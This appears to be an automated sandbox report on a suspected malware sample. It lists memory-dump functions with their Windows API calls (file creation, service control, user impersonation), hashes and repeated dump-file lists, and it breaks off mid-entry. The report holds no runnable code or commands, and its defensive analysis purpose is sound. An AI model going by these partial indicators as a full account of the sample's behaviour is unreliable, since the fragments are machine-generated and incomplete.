Opcode Fuzzy Hash: 9096f100f555de83959a2fca2fd094854ed960e6768eaae239320c102241199f
Instruction Fuzzy Hash: BF2138B25CC2056DE3018B949E5CABA777CE7523B0F71C46AF94AC7543EA580C044276

Function 00A7880C Relevance: 1.6, APIs: 1, Instructions: 96
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,E10E4E93,00000003,00000000), ref: 00A78836

Memory Dump Source

Source File: 00000009.00000002.1761422204.0000000000A74000.00000040.00000001.01000000.00000006.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000009.00000002.1760740446.00000000008F0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1760773784.00000000008F2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1760802269.00000000008F6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1760857098.00000000008FA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1760895574.0000000000904000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1760922928.0000000000905000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1760947214.0000000000906000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761106528.0000000000A57000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761155434.0000000000A5A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761219988.0000000000A72000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761274318.0000000000A73000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761422204.0000000000A7D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761689603.0000000000A87000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761719592.0000000000A89000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761748122.0000000000A92000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761773881.0000000000A99000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761821195.0000000000AAF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761865945.0000000000AC0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761899379.0000000000ACE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761923918.0000000000AD2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761955852.0000000000AD3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762027713.0000000000AD5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762125177.0000000000AE1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762179160.0000000000AEA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762204403.0000000000AEB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762231949.0000000000AF0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762267436.0000000000AF1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762315114.0000000000AF5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762387591.0000000000B07000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762420126.0000000000B0A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762458980.0000000000B0B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762484044.0000000000B12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762525368.0000000000B1A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762551739.0000000000B1B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762583768.0000000000B1C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762611830.0000000000B23000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762743909.0000000000B32000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762987429.0000000000B34000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763078945.0000000000B35000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763105713.0000000000B38000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763184116.0000000000B41000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763209611.0000000000B42000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763250654.0000000000B7D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763273376.0000000000B7E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763298835.0000000000B7F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763298835.0000000000B87000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763358357.0000000000B96000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763381851.0000000000B98000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_8f0000_4830TYWIJQ5SCGDL2FZPZJN92URB.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: bee21572d621a0b459903af47bba552302bde97dbf6a9639cd0214d7c2ad02f3
Instruction ID: fb2e557b19c6bbe0cfec8001983f403cd22a1fdd0c284381623da7fce194bbee
Opcode Fuzzy Hash: bee21572d621a0b459903af47bba552302bde97dbf6a9639cd0214d7c2ad02f3
Instruction Fuzzy Hash: 1321C5B708D2816EF30247909D68AB67B7CEB83370B75C4ABF485CB483DA580D089336

Function 048E0D42 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 048E0DCD

Memory Dump Source

Source File: 00000009.00000002.1766168768.00000000048E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 048E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_48e0000_4830TYWIJQ5SCGDL2FZPZJN92URB.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 9c8886be42767290d1071de8c11cf52c967387f1f8238e47715d2eda4b387e35
Instruction ID: 92a18745ff4dd4cb62e29b0e67d44a9425fb7d421e529458db7000a913b61713
Opcode Fuzzy Hash: 9c8886be42767290d1071de8c11cf52c967387f1f8238e47715d2eda4b387e35
Instruction Fuzzy Hash: 582168B6D002199FDB10CF9AD884BDEFBF0EB89310F108A1AD908BB244D774A501CBA4

Function 048E0D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 048E0DCD

Memory Dump Source

Source File: 00000009.00000002.1766168768.00000000048E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 048E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_48e0000_4830TYWIJQ5SCGDL2FZPZJN92URB.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 7640fa699b14fb621a812a2bd4ba97e439ca3d2ec0dd3435de49a6fedf5fd2d7
Instruction ID: 910c179e2999b7a88977e4d7a97be9370078981a93f173e11797fe324d31e25f
Opcode Fuzzy Hash: 7640fa699b14fb621a812a2bd4ba97e439ca3d2ec0dd3435de49a6fedf5fd2d7
Instruction Fuzzy Hash: 812127B6D012199FCB10CF9AD884BDEFBF4EB89310F14861AD908AB344D774A545CFA5

Function 048E1509 Relevance: 1.6, APIs: 1, Instructions: 56
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 048E1580

Memory Dump Source

Source File: 00000009.00000002.1766168768.00000000048E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 048E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_48e0000_4830TYWIJQ5SCGDL2FZPZJN92URB.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: acb9dea8b085b2e8676c3b4d511ffbc16f0980d851f0bb16b04e2376f81c9c9e
Instruction ID: 3986d732b2063cac21fbff047229dbaa43ac9b2adc55346849e38bf833dc9f99
Opcode Fuzzy Hash: acb9dea8b085b2e8676c3b4d511ffbc16f0980d851f0bb16b04e2376f81c9c9e
Instruction Fuzzy Hash: F22117B1D003499FDB20CF9AC845BDEFBF4EB48324F108529E519A7240D778A545CFA5

Function 048E1510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 048E1580

Memory Dump Source

Source File: 00000009.00000002.1766168768.00000000048E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 048E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_48e0000_4830TYWIJQ5SCGDL2FZPZJN92URB.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 54639d2a4e164330b0d4e64cfdcb4e05f2d62d708927bf9939b32b927dfe49e9
Instruction ID: b2878eb9e02e085c3968f21a2fe57089112bfcf0e7c7a246d9c10ba40e34c58a
Opcode Fuzzy Hash: 54639d2a4e164330b0d4e64cfdcb4e05f2d62d708927bf9939b32b927dfe49e9
Instruction Fuzzy Hash: FF1117B1D003498FDB10CF9AC444BDEFBF4EB48320F108529E518A3240D378A545CFA5

Function 00A78B8E Relevance: 1.6, APIs: 1, Instructions: 52
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 00A78BE5

Memory Dump Source

Source File: 00000009.00000002.1761422204.0000000000A74000.00000040.00000001.01000000.00000006.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000009.00000002.1760740446.00000000008F0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1760773784.00000000008F2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1760802269.00000000008F6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1760857098.00000000008FA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1760895574.0000000000904000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1760922928.0000000000905000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1760947214.0000000000906000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761106528.0000000000A57000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761155434.0000000000A5A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761219988.0000000000A72000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761274318.0000000000A73000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761422204.0000000000A7D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761689603.0000000000A87000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761719592.0000000000A89000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761748122.0000000000A92000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761773881.0000000000A99000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761821195.0000000000AAF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761865945.0000000000AC0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761899379.0000000000ACE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761923918.0000000000AD2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761955852.0000000000AD3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762027713.0000000000AD5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762125177.0000000000AE1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762179160.0000000000AEA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762204403.0000000000AEB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762231949.0000000000AF0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762267436.0000000000AF1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762315114.0000000000AF5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762387591.0000000000B07000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762420126.0000000000B0A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762458980.0000000000B0B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762484044.0000000000B12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762525368.0000000000B1A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762551739.0000000000B1B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762583768.0000000000B1C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762611830.0000000000B23000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762743909.0000000000B32000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762987429.0000000000B34000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763078945.0000000000B35000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763105713.0000000000B38000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763184116.0000000000B41000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763209611.0000000000B42000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763250654.0000000000B7D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763273376.0000000000B7E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763298835.0000000000B7F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763298835.0000000000B87000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763358357.0000000000B96000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763381851.0000000000B98000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_8f0000_4830TYWIJQ5SCGDL2FZPZJN92URB.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: f109f834b16558688c064ee9001c88fb140e6a269f5ddfe7637ab893a55bc2f0
Instruction ID: f9fcc56d9c7290c8ed5d084f853c7891447ea512de2dbe049f7b24c2a70f00b0
Opcode Fuzzy Hash: f109f834b16558688c064ee9001c88fb140e6a269f5ddfe7637ab893a55bc2f0
Instruction Fuzzy Hash: 3A0175B65481099EEB50CF58DD187FF37E8E799320F24C429A808C3A42D7794D54CB28

Function 00A78BA9 Relevance: 1.6, APIs: 1, Instructions: 50
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 00A78BE5

Memory Dump Source

Source File: 00000009.00000002.1761422204.0000000000A74000.00000040.00000001.01000000.00000006.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000009.00000002.1760740446.00000000008F0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1760773784.00000000008F2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1760802269.00000000008F6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1760857098.00000000008FA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1760895574.0000000000904000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1760922928.0000000000905000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1760947214.0000000000906000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761106528.0000000000A57000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761155434.0000000000A5A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761219988.0000000000A72000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761274318.0000000000A73000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761422204.0000000000A7D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761689603.0000000000A87000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761719592.0000000000A89000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761748122.0000000000A92000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761773881.0000000000A99000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761821195.0000000000AAF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761865945.0000000000AC0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761899379.0000000000ACE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761923918.0000000000AD2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761955852.0000000000AD3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762027713.0000000000AD5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762125177.0000000000AE1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762179160.0000000000AEA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762204403.0000000000AEB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762231949.0000000000AF0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762267436.0000000000AF1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762315114.0000000000AF5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762387591.0000000000B07000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762420126.0000000000B0A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762458980.0000000000B0B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762484044.0000000000B12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762525368.0000000000B1A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762551739.0000000000B1B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762583768.0000000000B1C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762611830.0000000000B23000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762743909.0000000000B32000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762987429.0000000000B34000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763078945.0000000000B35000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763105713.0000000000B38000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763184116.0000000000B41000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763209611.0000000000B42000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763250654.0000000000B7D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763273376.0000000000B7E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763298835.0000000000B7F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763298835.0000000000B87000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763358357.0000000000B96000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763381851.0000000000B98000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_8f0000_4830TYWIJQ5SCGDL2FZPZJN92URB.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 7d1558965fcf6961642d4a1c5ff138cb5df163f741e2605353c4c9d070e83c70
Instruction ID: 57aa8350bc578d473b8e7cb0b14a251e9904fa6ca20ccbf1480f63fd67168bae
Opcode Fuzzy Hash: 7d1558965fcf6961642d4a1c5ff138cb5df163f741e2605353c4c9d070e83c70
Instruction Fuzzy Hash: D80192B6548249CEEB55CF68DD193DE3BE0FB69310F20C96AE408C3A92CB394D54CB19

Function 048E1301 Relevance: 1.6, APIs: 1, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 048E1367

Memory Dump Source

Source File: 00000009.00000002.1766168768.00000000048E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 048E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_48e0000_4830TYWIJQ5SCGDL2FZPZJN92URB.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: cd53690a4c6340a458869d9c2cd257a9a5d1d18188767f3e0dfcbb9c20825476
Instruction ID: 427dc4d809a70583359d379a70b987813f5bcda18d442e4fcec6dca074a9b95d
Opcode Fuzzy Hash: cd53690a4c6340a458869d9c2cd257a9a5d1d18188767f3e0dfcbb9c20825476
Instruction Fuzzy Hash: B91158B5800349CFDB10DF9AC545BEEFBF4EB48324F148569D528A3240D738A944CFA1

Function 048E1308 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 048E1367

Memory Dump Source

Source File: 00000009.00000002.1766168768.00000000048E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 048E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_48e0000_4830TYWIJQ5SCGDL2FZPZJN92URB.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 340d08f032d44c9ade1a148ad84859aa158ffbbdc0aaf5fe2cac5ba9481aae49
Instruction ID: 0d6e13cec6c0331c155715eba3488c643954d55976fffa60ff9a3bcc995680b6
Opcode Fuzzy Hash: 340d08f032d44c9ade1a148ad84859aa158ffbbdc0aaf5fe2cac5ba9481aae49
Instruction Fuzzy Hash: 761136B1800349CFDB20CF9AC445BEEFBF4EB48324F20842AD558A3640D778A945CFA5

Function 00A78BC7 Relevance: 1.5, APIs: 1, Instructions: 43fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE ref: 00A78BE5

Memory Dump Source

Source File: 00000009.00000002.1761422204.0000000000A74000.00000040.00000001.01000000.00000006.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000009.00000002.1760740446.00000000008F0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1760773784.00000000008F2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1760802269.00000000008F6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1760857098.00000000008FA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1760895574.0000000000904000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1760922928.0000000000905000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1760947214.0000000000906000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761106528.0000000000A57000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761155434.0000000000A5A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761219988.0000000000A72000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761274318.0000000000A73000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761422204.0000000000A7D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761689603.0000000000A87000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761719592.0000000000A89000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761748122.0000000000A92000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761773881.0000000000A99000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761821195.0000000000AAF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761865945.0000000000AC0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761899379.0000000000ACE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761923918.0000000000AD2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1761955852.0000000000AD3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762027713.0000000000AD5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762125177.0000000000AE1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762179160.0000000000AEA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762204403.0000000000AEB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762231949.0000000000AF0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762267436.0000000000AF1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762315114.0000000000AF5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762387591.0000000000B07000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762420126.0000000000B0A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762458980.0000000000B0B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762484044.0000000000B12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762525368.0000000000B1A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762551739.0000000000B1B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762583768.0000000000B1C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762611830.0000000000B23000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762743909.0000000000B32000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1762987429.0000000000B34000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763078945.0000000000B35000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763105713.0000000000B38000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763184116.0000000000B41000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763209611.0000000000B42000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763250654.0000000000B7D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763273376.0000000000B7E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763298835.0000000000B7F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763298835.0000000000B87000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763358357.0000000000B96000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1763381851.0000000000B98000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_8f0000_4830TYWIJQ5SCGDL2FZPZJN92URB.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 5aa27515855c32e71f09e32fba5b5a1b13f19e050d5434bf7547385f15b65ef0
Instruction ID: a29087f167271288ee7225ce570fc78a9421414d18d28d86e97e22bf540ab67c
Opcode Fuzzy Hash: 5aa27515855c32e71f09e32fba5b5a1b13f19e050d5434bf7547385f15b65ef0
Instruction Fuzzy Hash: 3401A27664818A8FDB24CF28DD587AE37E4FB94310F24C56AD448D3A92C7394C50CB18

Function 00A78BB7 Relevance: 1.5, APIs: 1, Instructions: 41fileCOMMON

